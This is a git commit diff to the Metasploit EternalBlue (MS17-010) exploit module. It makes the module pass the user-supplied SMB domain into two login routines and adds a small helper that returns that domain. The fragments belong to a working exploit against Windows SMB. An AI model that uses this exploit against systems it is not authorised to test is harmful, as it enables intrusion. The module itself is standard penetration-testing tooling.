Land #10560, ms17_010_eternalblue: use SMBDomain value when provided

instead of ignoring it

Merge branch 'land-10560' into upstream-master

modules/exploits/windows/smb/ms17_010_eternalblue.rb

@@ -322,7 +322,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def smb1_anonymous_connect_ipc
     sock = connect(false)
     dispatcher = RubySMB::Dispatcher::Socket.new(sock)
-    client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
+    client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, domain: smb_domain, password: smb_pass)
     response_code = client.login
 
     unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
@@ -365,7 +365,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def smb1_free_hole(start)
     sock = connect(false)
     dispatcher = RubySMB::Dispatcher::Socket.new(sock)
-    client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
+    client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, domain: smb_domain, password: smb_pass)
     client.negotiate
 
     pkt = ""
@@ -696,4 +696,18 @@ class MetasploitModule < Msf::Exploit::Remote
       ''
     end
   end
+
+  # Returns the value to be passed to SMB clients for
+  # the domain. If the user has not supplied a domain
+  # it returns an empty string to trigger an anonymous
+  # logon.
+  #
+  # @return [String] the domain value
+  def smb_domain
+    if datastore['SMBDomain'].present?
+      datastore['SMBDomain']
+    else
+      ''
+    end
+  end
 end